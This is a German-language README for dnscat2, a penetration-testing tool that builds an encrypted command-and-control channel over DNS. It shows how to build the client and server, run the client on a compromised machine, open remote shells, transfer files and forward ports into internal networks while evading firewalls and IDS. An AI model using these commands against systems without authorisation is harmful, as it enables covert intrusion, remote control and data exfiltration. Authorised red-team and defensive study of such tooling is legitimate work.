
Verschlüsselter Command-and-Control-Tunnel über DNS-Protokoll. Erstellt verdeckte C&C-Kanäle für Penetrationstests, mit Dateiübertragung, Shell-Zugriff und Portweiterleitungsfunktionen durch DNS-Abfragen.
***** HINWEIS: Die Passwörter für die .zip-Downloads sind alle "password"! *****
Willkommen zu dnscat2, einem DNS-Tunnel, der dich NICHT krank macht und umbringt!
Dieses Tool wurde entwickelt, um einen verschlüsselten Command-and-Control (C&C)-Kanal über das DNS-Protokoll zu erstellen, einen effektiven Tunnel aus fast jedem Netzwerk.
Diese README-Datei sollte alles enthalten, was du brauchst, um loszulegen! Wenn du tiefer in das Protokoll, die Code-Struktur, zukünftige Pläne oder andere esoterische Dinge eintauchen möchtest, schau dir den Ordner doc/ an.
Dies wird unter der BSD-Lizenz veröffentlicht. Weitere Informationen findest du in LICENSE.md.
dnscat2 besteht aus zwei Teilen: dem Client und dem Server.
Der Client ist für die Ausführung auf einem kompromittierten Rechner konzipiert. Er ist in C geschrieben und hat die minimal möglichen Abhängigkeiten. Er sollte so ziemlich überall laufen (falls du ein System findest, auf dem er nicht kompiliert oder läuft, erstelle bitte ein Ticket, insbesondere wenn du mir helfen kannst, Zugang zu diesem System zu bekommen).
Wenn du den Client ausführst, gibst du normalerweise einen Domainnamen an. Alle Anfragen werden an den lokalen DNS-Server gesendet, der sie dann an den autoritativen DNS-Server für diese Domain weiterleitet (den du vermutlich kontrollierst).
Wenn du keinen autoritativen DNS-Server hast, kannst du auch direkte Verbindungen über UDP/53 (oder einen anderen Port) verwenden. Sie sind schneller und sehen für den oberflächlichen Betrachter immer noch wie DNS-Verkehr aus, sind aber in einem Paketprotokoll viel offensichtlicher (alle Domains werden mit "dnscat." präfixiert, sofern du den Quellcode nicht hackst). Dieser Modus wird häufig von Firewalls blockiert.
Der Server ist für die Ausführung auf einem autoritativen DNS-Server konzipiert. Er ist in Ruby geschrieben und hängt von mehreren verschiedenen Gems ab. Wenn du ihn ausführst, gibst du – ähnlich wie beim Client – an, auf welche Domain(s) er hören soll, zusätzlich zum Lauschen auf direkt an ihn gesendete Nachrichten über UDP/53. Wenn er Verkehr für eine dieser Domains empfängt, versucht er, eine logische Verbindung herzustellen. Wenn er anderen Verkehr empfängt, ignoriert er ihn standardmäßig, kann ihn aber auch nachgelagert weiterleiten.
Detaillierte Anleitungen für beide Teile folgen weiter unten.
dnscat2 strebt danach, sich von anderen DNS-Tunnelprotokollen zu unterscheiden, indem es für einen besonderen Zweck entwickelt wurde: Command and Control.
Dies ist nicht dafür gedacht, dich aus einem Hotelnetzwerk zu befreien oder kostenloses Internet im Flugzeug zu bekommen. Und es tunnelt nicht einfach TCP.
Es kann beliebige Daten ohne angehängtes Protokoll tunneln. Das bedeutet, es kann Dateien hoch- und herunterladen, eine Shell ausführen – und das alles gut. Es kann möglicherweise auch TCP tunneln, aber das wird nur im Kontext eines Penetration-Testing-Tools hinzugefügt (d.h. TCP in ein Netzwerk tunneln), nicht als allgemeines Tunnelwerkzeug. Das wurde bereits gemacht und ist (für mich) nicht interessant.
Es ist außerdem standardmäßig verschlüsselt. Ich glaube nicht, dass ein anderer öffentlicher DNS-Tunnel den gesamten Verkehr verschlüsselt!
Hier sind einige wichtige Links:
Die Theorie hinter dnscat2 ist einfach: Es erstellt einen Tunnel über das DNS-Protokoll.
Warum? Weil DNS eine erstaunliche Eigenschaft hat: Es findet seinen Weg von Server zu Server, bis es herausfindet, wohin es gehen soll.
Das bedeutet, dass dnscat, um Verkehr aus einem sicheren Netzwerk zu bekommen, einfach Nachrichten an einen DNS-Server senden muss, der die Dinge dann fröhlich durch das DNS-Netzwerk weiterleitet, bis sie deinen DNS-Server erreichen.
Das setzt natürlich voraus, dass du Zugang zu einem autoritativen DNS-Server hast. dnscat2 unterstützt auch "direkte" Verbindungen – das heißt, einen dnscat-Client auszuführen, der sich direkt mit deinem dnscat auf deiner IP-Adresse und UDP-Port 53 (standardmäßig) verbindet. Der Verkehr sieht immer noch wie DNS-Verkehr aus und könnte dümmere IDS/IPS-Systeme überlisten, wird aber wahrscheinlich von Firewalls gestoppt.
Wenn du nicht genau weißt, wie du einen autoritativen DNS-Server einrichtest, musst du das mit einem Domain-Anbieter konfigurieren. izhan hat dir freundlicherweise eine Anleitung geschrieben!
Das Kompilieren des Clients sollte ziemlich einfach sein – alles, was du zum Kompilieren brauchst, ist make/gcc (für Linux) oder entweder Cygwin oder Microsoft Visual Studio (für Windows). Hier sind die Befehle unter Linux:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Unter Windows lade client/win32/dnscat2.vcproj in Visual Studio und drücke "Build". Ich habe es mit Visual Studio 2008 erstellt und getestet – bis ich eine kostenlose legale Kopie einer neueren Version bekomme, werde ich wahrscheinlich dabei bleiben. :)
Falls die Kompilierung fehlschlägt, erstelle bitte einen Fehlerbericht auf meiner Github-Seite! Bitte sende Details zu deinem System.
Du kannst überprüfen, ob dnscat2 erfolgreich kompiliert wurde, indem du es ohne Flags ausführst; du wirst sehen, dass es versucht, einen DNS-Tunnel mit dem konfigurierten DNS-Server zu starten (was fehlschlagen wird):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating
Der Server wird nicht "kompiliert", aber er benötigt einige Ruby-Abhängigkeiten. Leider können Ruby-Abhängigkeiten lästig zu installieren sein, also viel Glück! Falls es Ruby-Experten gibt, die helfen wollen, diesen Abschnitt zu verbessern, wäre ich dankbar!
Ich gehe davon aus, dass Ruby und Gem installiert und funktionstüchtig sind. Falls nicht, installiere sie mit apt-get, emerge, rvm oder wie auch immer auf deinem Betriebssystem üblich.
Sobald Ruby/Gem eingerichtet sind, führe diese Befehle aus (beachte: du kannst den git clone-Befehl natürlich überspringen, wenn du den Client bereits installiert hast, und gem install bundler überspringen, wenn du Bundler bereits installiert hast):
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
Wenn du bei gem install bundler oder bundle install einen Berechtigungsfehler erhältst, musst du sie möglicherweise als root ausführen. Wenn du viele Probleme hast, deinstalliere Ruby/Gem und installiere alles mit rvm und ohne root.
Wenn du einen Fehler wie diesen erhältst:
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
Bedeutet das, dass du die -dev-Version von Ruby installieren musst:
$ sudo apt-get install ruby-dev
Ich stelle fest, dass sudo nicht immer ausreicht, um alles richtig zum Laufen zu bringen; manchmal muss ich zu root wechseln und direkt als dieses Konto arbeiten. rvmsudo hilft nicht, weil es Strg-Z kaputt macht.
Du kannst überprüfen, ob der Server funktioniert, indem du ihn ohne Flags ausführst und prüfst, ob du eine dnscat2>-Eingabeaufforderung erhältst:
# ruby ./dnscat2.rb
New window created: 0
Welcome to dnscat2! Some documentation may be out of date.
passthrough => disabled
auto_attach => false
auto_command =>
process =>
history_size (for new windows) => 1000
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = n/a]...
It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
Wenn du es nicht als root ausführst, könntest du Probleme haben, auf UDP/53 zu lauschen (du kannst --dnsport verwenden, um es zu ändern). In diesem Fall siehst du eine Fehlermeldung.
Wenn du Probleme hast, Ruby als root auszuführen, tue ich Folgendes, um es zum ersten Mal auszuführen:
$ cd dnscat2/server
$ su
# gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
# \curl -sSL https://get.rvm.io | bash
# source /etc/profile.d/rvm.sh
# rvm install 1.9
# rvm use 1.9
# bundle install
# ruby ./dnscat2.rb
Und bei späteren Gelegenheiten:
$ cd dnscat2/server
$ su
# source /etc/profile.d/rvm.sh
# ruby ./dnscat2.rb
rvmsudo sollte es einfacher machen, aber dnscat2 spielt leider nicht gut mit rvmsudo.
Bevor wir darüber sprechen, wie man die Tools speziell verwendet, lassen Sie uns über die Struktur von dnscat sprechen. Das dnscat-Tool ist in zwei Teile aufgeteilt: einen Client und einen Server. Wie du bei der Kompilierung bemerkt hast, ist der Client in C und der Server in Ruby geschrieben.
Im Allgemeinen wird zuerst der Server gestartet. Er kann lange laufen und so viele Clients verwalten, wie du möchtest. Wie bereits erwähnt, ist er im Grunde ein C&C-Dienst.
Später wird ein Client gestartet, der eine Sitzung mit dem Server eröffnet (mehr zu Sitzungen weiter unten). Die Sitzung kann entweder die DNS-Hierarchie durchlaufen (empfohlen, aber komplexer) oder sich direkt mit dem Server verbinden. Das Durchlaufen der DNS-Hierarchie erfordert eine autoritative Domain, umgeht aber die meisten Firewalls. Die direkte Verbindung zum Server ist aus mehreren Gründen offensichtlicher.
Standardmäßig werden Verbindungen automatisch verschlüsselt (auf dem Client mit --no-encryption und auf dem Server mit --security=open deaktivieren). Wenn du eine neue Verbindung aufbaust und paranoid in Bezug auf Man-in-the-Middle-Angriffe bist, hast du zwei Optionen, um den Gegenüber zu verifizieren:
--secret-Argument auf beiden Seiten übergeben, um die Verbindung zu validierenDer Server – der normalerweise auf dem autoritativen DNS-Server für eine bestimmte Domain ausgeführt wird – ist darauf ausgelegt, funktionsreich, interaktiv und benutzerfreundlich zu sein. Er ist in Ruby geschrieben und sein Design ist stark von Metasploit und Meterpreter inspiriert.
Wenn du die Kompilierungsanweisungen oben befolgt hast, solltest du den Server einfach ausführen können:
$ ruby ./dnscat2.rb skullseclabs.org
Wobei "skullseclabs.org" deine eigene Domain ist. Wenn du keinen autoritativen DNS-Server hast, ist das nicht zwingend erforderlich; aber dieses Tool funktioniert mit einem autoritativen Server viel, viel besser.
Das sollte eigentlich alles sein, was du brauchst! Ansonsten kannst du es mit dem --ping-Befehl des Clients auf einem anderen System testen, der verfügbar sein sollte, wenn du es kompiliert hast:
$ ./dnscat --ping skullseclabs.org
Wenn der Ping erfolgreich ist, ist dein C&C-Server wahrscheinlich in Ordnung! Falls du den DNS-Server auf einem anderen Port betreibst oder einen benutzerdefinierten DNS-Resolver verwenden musst, kannst du zusätzlich zu --ping das --dns-Flag verwenden:
$ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
$ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
Beachte, dass die Domain bei Angabe eines --dns-Arguments Teil dieses Arguments sein muss (als domain=xxx). Du kannst sie nicht einfach als Befehlszeilenargument übergeben (aufgrund einer Einschränkung meiner Befehlsanalyse; ich werde das in einer zukünftigen Version wahrscheinlich verbessern).
Wenn der Prozess läuft, kannst du einen neuen Server mit praktisch derselben Syntax starten:
dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
New window created: dns2
Starting Dnscat2 DNS server on 0.0.0.0:53532
[domains = skullseclabs.org, test.com]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
./dnscat2 test.com
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53532
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53532.
Du kannst so viele DNS-Listener ausführen, wie du möchtest, solange sie sich auf verschiedenen Hosts/Ports befinden. Sobald die Daten eintreffen, weiß der Rest des Prozesses nicht einmal, von welchem Listener die Daten stammen; tatsächlich kann ein Client verschiedene Pakete an verschiedene Ports senden, und die Sitzung wird wie erwartet fortgesetzt.
Der Client – der normalerweise auf einem System nach dessen Kompromittierung ausgeführt wird – ist darauf ausgelegt, einfach, stabil und portabel zu sein. Er ist in C geschrieben und hat so wenige Bibliotheksabhängigkeiten wie möglich; er kompiliert und läuft nativ unter Linux, Windows, Cygwin, FreeBSD und Mac OS X.
Dem Client wird der Domainname in der Befehlszeile übergeben, zum Beispiel:
./dnscat2 skullseclabs.org
In diesem Beispiel wird eine C&C-Sitzung mit dem auf skullseclabs.org laufenden dnscat2-Server erstellt. Wenn eine autoritative Domain keine Option ist, kann stattdessen eine bestimmte IP-Adresse zur Verbindung angegeben werden:
./dnscat2 --dns host=206.220.196.59,port=5353
Angenommen, auf diesem Host/Port läuft ein dnscat2-Server, wird dort eine Sitzung erstellt.
Yo dawg; I hear you like tunnels, so now you can tunnel a tunnel through your tunnel!
Es ist derzeit möglich, eine Verbindung durch dnscat2 zu tunneln, ähnlich wie "ssh -L"! Andere Modi ("ssh -D" und "ssh -R") kommen ebenfalls bald!
Nachdem eine Sitzung gestartet wurde (eine Befehlssitzung), wird der Befehl "listen" verwendet, um einen neuen getunnelten Port zu öffnen. Die Syntax ist ungefähr dieselbe wie bei ssh -L:
listen [lhost:]lport rhost:rport
Der lokale Host ist optional und standardmäßig werden alle Schnittstellen (0.0.0.0) verwendet. Der lokale Port und der entfernte Host/Port sind obligatorisch.
Der dnscat2-Server lauscht auf lport. Alle auf diesem Port eingehenden Verbindungen werden über den dnscat2-Client an den gewählten entfernten Host/Port weitergeleitet.
Beispielsweise wird damit auf Port 4444 (auf dem Server) gelauscht und der Verkehr an Google weitergeleitet:
listen 4444 www.google.com:80
Wenn du dich dann mit http://localhost:4444 verbindest, kommt der Verkehr über den dnscat2-Client heraus und verbindet sich mit google.com.
Nehmen wir an, du verwendest dies bei einem Pentest und möchtest SSH-Verbindungen über den dnscat2-Client (der im Firmennetzwerk eines anderen läuft) an ein internes Gerät weiterleiten. Das geht!
listen 127.0.0.1:2222 10.10.10.10:22
Das lauscht nur auf der localhost-Schnittstelle auf dem dnscat2-Server und leitet Verbindungen über den Tunnel an Port 22 von 10.10.10.10 weiter.
dnscat2 ist standardmäßig verschlüsselt.
Ich bin kein Kryptograf und habe aus Notwendigkeit das Verschlüsselungsschema selbst entwickelt. Daher würde ich dem nicht zu 100% vertrauen. Ich denke, ich habe einen ziemlich guten Job gemacht, Angriffe zu verhindern, aber dies wurde nicht professionell auditiert. Mit Vorsicht verwenden.
Es gibt eine Menge technischer Informationen zur Verschlüsselung im Protokolldokument. Aber hier sind die Grundlagen.
Standardmäßig unterstützen sowohl der Client als auch der Server die Verschlüsselung und werden sie versuchen. Jede Verbindung verwendet ein neues Schlüsselpaar, das per ECDH ausgehandelt wird. Die gesamte Verschlüsselung erfolgt mit salsa20, und Signaturen verwenden sha3.
Die Verschlüsselung kann auf dem Client deaktiviert werden, indem --no-encryption in der Befehlszeile übergeben wird, oder indem es mit make nocrypto kompiliert wird.
Der Server lehnt unverschlüsselte Verbindungen standardmäßig ab. Um unverschlüsselte Verbindungen zuzulassen, übergib --security=open an den Server oder führe set security=open in der Konsole aus.
Standardmäßig gibt es keinen Schutz vor Man-in-the-Middle-Angriffen. Wie bereits erwähnt, gibt es zwei verschiedene Möglichkeiten, MitM-Schutz zu erreichen: ein vorab geteiltes Geheimnis oder einen "Short Authentication String".
Ein vorab geteiltes Geheimnis wird in der Befehlszeile sowohl an den Client als auch an den Server übergeben und dient dazu, sowohl den Client gegenüber dem Server als auch den Server gegenüber dem Client zu authentifizieren. Es sollte ein einigermaßen starker Wert sein – etwas, das nicht schnell von einem Angreifer erraten werden kann (der Angreifer hat nur ein kurzes Zeitfenster zum Raten, also muss es nur für ein paar Sekunden halten).
Das vorab geteilte Geheimnis wird über den Parameter --secret sowohl auf dem Client als auch auf dem Server übergeben. Der Server kann es zur Laufzeit mit set secret=<neuer wert> ändern, aber das kann unerwartete Auswirkungen haben, wenn aktive Clients verbunden sind.
Darüber hinaus kann der Server erzwingen, dass nur authentifizierte Verbindungen erlaubt sind, indem --security=authenticated oder set security=authenticated verwendet wird. Das ist standardmäßig aktiviert, wenn du den --secret-Parameter übergibst.
Wenn du den zusätzlichen Aufwand der Authentifizierung von Verbindungen nicht benötigst, wird sowohl vom Client als auch vom Server ein "Short Authentication String" angezeigt. Der Short Authentication String ist eine Reihe englischer Wörter, die auf den geheimen Werten basieren, die beide Seiten gemeinsam haben.
Wenn auf dem Client und dem Server dieselbe Reihe englischer Wörter angezeigt wird, kann die Verbindung vernünftigerweise als sicher betrachtet werden.
Das ist so ziemlich alles, was du über die Verschlüsselung wissen musst! Weitere Details findest du im Protokolldokument! Ich würde mich auch über Feedback zur Kryptografie freuen. :)
Und schließlich: Wenn du Probleme mit der Kryptografie hast, lass es mich bitte wissen! Standardmäßig wird zu Beginn ein Fenster namens "crypto-debug" erstellt. Wenn du Verschlüsselungsprobleme hast, sende mir bitte dieses Log! Oder besser noch, führe dnscat2 mit den Argumenten --firehose und --packet-trace aus und sende mir ALLES! Mach dir keine Sorgen um die Offenlegung privater Schlüssel; sie werden nur für diese eine Sitzung verwendet.
Die dnscat2-Benutzeroberfläche besteht aus einer Reihe von Fenstern. Das Standardfenster heißt 'main'-Fenster. Du kannst eine Liste der Fenster erhalten, indem du windows (oder sessions) in eine beliebige Befehlseingabe eingibst:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
Du wirst feststellen, dass es zwei Fenster gibt – Fenster 0 ist das Hauptfenster, und Fenster dns1 ist der Listener (technisch als 'Tunnel Driver' bezeichnet).
In jedem Fenster, das Befehle akzeptiert (main und Befehlssitzungen), kannst du help eingeben, um eine Liste der Befehle zu erhalten:
dnscat2> help
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
Für jeden dieser Befehle kannst du -h oder --help verwenden, um Details zu erhalten:dnscat2> window --help Error: The user requested help
Interact with a window
-i, --i=<s> Interact with the chosen window
-h, --help Show this message
Wir werden den window-Befehl verwenden, um mit dns1 zu interagieren, einem Statusfenster:
dnscat2> window -i dns1
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53531
[domains = skullseclabs.org]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following:
./dnscat2 skullseclabs.org
To talk directly to the server without a domain name, run:
./dnscat2 --dns server=x.x.x.x,port=53531
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53531.
Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
Die empfangenen und gesendeten Zeichenfolgen sind, wenn man sie decodiert, Pings.
Sie können mit Strg-Z zum übergeordneten Fenster (in diesem Fall main) wechseln. Falls Strg-Z den Prozess beendet, müssen Sie wahrscheinlich einen besseren Weg finden, es auszuführen (rvmsudo funktioniert nicht, siehe oben).
Wenn ein neuer Client eine Verbindung herstellt und eine Sitzung erstellt, werden Sie in main (und bestimmten anderen Fenstern) benachrichtigt:
New window created: 1
dnscat2>
(Beachten Sie, dass Sie die Eingabetaste drücken müssen, um die Eingabeaufforderung zurückzuerhalten)
Sie können auf die gleiche Weise zum neuen Fenster wechseln, wie wir zum Statusfenster dns1 gewechselt sind:
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command session (ubuntu-64) 1>
Befehlssitzungen können weitere Sitzungen erzeugen; zum Beispiel der Befehl shell:
command session (ubuntu-64) 1> shell
Sent request to execute a shell
New window created: 2
Shell session created!
command session (ubuntu-64) 1>
(Beachten Sie, dass ich in diesem Dokument die Ausgabe bereinige; normalerweise müssen Sie die Eingabetaste drücken, um die Eingabeaufforderung zurückzuerhalten)
Wenn Sie dann zur Hauptsitzung zurückkehren (Strg-Z oder suspend), sehen Sie sie in der Fensterliste:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
Leider zeigt der Befehl 'windows' in einer bestimmten Befehlssitzung nur untergeordnete Fenster dieser Sitzung an, und derzeit werden neue Sitzungen nicht als Kinder erzeugt.
Beachten Sie, dass einige Sitzungen [*] haben - das bedeutet, dass seit dem letzten Betrachten Aktivität stattgefunden hat.
Wenn Sie mit einer Sitzung interagieren, sieht die Oberfläche je nach Sitzungstyp anders aus. Wie Sie beim Standard-Sitzungstyp (Befehlssitzungen) gesehen haben, erhalten Sie eine Benutzeroberfläche wie die der obersten Ebene (Sie können 'help' eingeben oder Befehle ausführen usw.). Wenn Sie jedoch mit einer 'Shell'-Sitzung interagieren, sehen Sie zunächst nicht viel, bis Sie einen Befehl eingeben:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
sh (ubuntu-64) 2> pwd
/home/ron/tools/dnscat2/client
Um dies zu beenden, können Sie Strg-Z verwenden oder "exit" eingeben (was die Sitzung beendet).
Schließlich kann der Befehl kill verwendet werden, um eine Sitzung zu beenden:
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
2 :: sh (ubuntu-64) [*]
dnscat2> kill 2
Session 2 has been sent the kill signal!
Session 2 has been killed
dnscat2> windows
0 :: main [active]
dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
1 :: command session (ubuntu-64)
In der Vergangenheit gab es mehrere DNS-Tunnel-Werkzeuge. Eines hieß dnscat, geschrieben von Tadek Pietraszek. Das Problem ist, dass es in Java geschrieben ist und ich wirklich etwas wollte, das praktisch überall laufen kann.
Diese Version von dnscat basierte auf einem Werkzeug namens NSTX, dessen Seite nicht mehr existiert und nicht einmal in der Wayback Machine ist, daher weiß ich nichts darüber.
Später schrieb ich eine C-Implementierung und nannte sie dnscat (ohne Erlaubnis), da die vorherige Java-Version nicht mehr gewartet wurde und mir der Name wirklich gefiel (ich spielte mit dem Gedanken, sie dnscat-ng zu nennen, aber -ng ist mir zu lang). Es funktionierte, aber es gab viele Probleme. Client und Server waren dasselbe Werkzeug, wie netcat, was aufgrund des Client/Server-Modells von DNS nicht so gut funktionierte. Das andere Problem war, dass ich es zu sehr an das DNS-Protokoll gebunden hatte, sodass es nur über DNS laufen konnte.
dnscat2 - der Nachfolger von dnscat - ist ein Versuch, einige der Fehler, die ich begangen hatte, zu korrigieren. dnscat2 hat einen separaten Server (Ruby) und Client (C) und behandelt alles als Byte-Strom und verwendet eine Art Treiber, um diesen Byte-Strom in DNS-Anfragen umzuwandeln und zurück. Somit ist es ein geschichtetes Protokoll, wobei DNS eine untere Schicht ist.
Als Ergebnis habe ich ein Protokoll entwickelt, das ich das dnscat-Protokoll nenne. Sie finden die Dokumentation dazu in docs/protocol.md. Es ist ein einfaches Polling-Netzwerkprotokoll, bei dem der Client gelegentlich den Server abfragt und der Server mit einer Nachricht (oder einem Fehlercode) antwortet. Das Protokoll ist so ausgelegt, dass es widerstandsfähig gegenüber den verschiedenen Problemen ist, die ich mit dnscat1 hatte – das heißt, es kann mit Paketen in falscher Reihenfolge, verlorenen Paketen und duplizierten Paketen gleichermaßen gut umgehen.